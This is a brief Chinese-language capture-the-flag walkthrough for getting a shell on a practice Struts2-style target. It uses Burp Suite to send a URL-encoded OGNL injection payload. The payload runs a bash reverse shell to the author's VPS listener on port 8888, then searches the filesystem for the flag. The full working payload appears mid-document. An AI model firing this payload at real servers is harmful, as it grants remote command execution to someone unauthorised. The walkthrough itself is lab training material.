前沿:此方法基于反向shell的漏洞复现(错误之处请各位大佬多多指教!谢谢)
一:工具:burpsuite、vps服务器。
二:流程
1:先打开靶场镜像地址;
在框中随意输入(我这里输入的是1111)然后submit提交
2:利用burpsuite抓包
右键发到repeater修改payload
payload参考的是csdn的一位大佬的笔记
%25{%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{"/bin/bash","-c", "bash -i >%26 /dev/tcp/ip/port 0>%261"})).redirectErrorStream(true).start(),%23b%3d%23a.getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew+java.io.BufferedReader(%23c),%23e%3dnew+char[50000],%23d.read(%23e),%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23f.getWriter().println(new+java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()}
其中的"bash -i >%26 /dev/tcp/ip/port 0>%261"中的ip指的是vps的地址,port指的是你开启的监听端口。
3:开启监听端口(我这里开启8888)并发送burpsuite中的重发器内容,若出现500状态码则是发送成功
输入指令:find / -name flag*即可得到flag。
4:将flag提交到靶场即可。
小tips:如果你的监听一直失败:可能是你的监听没有打开,你需要在你的vps服务器上打开你的所有端口。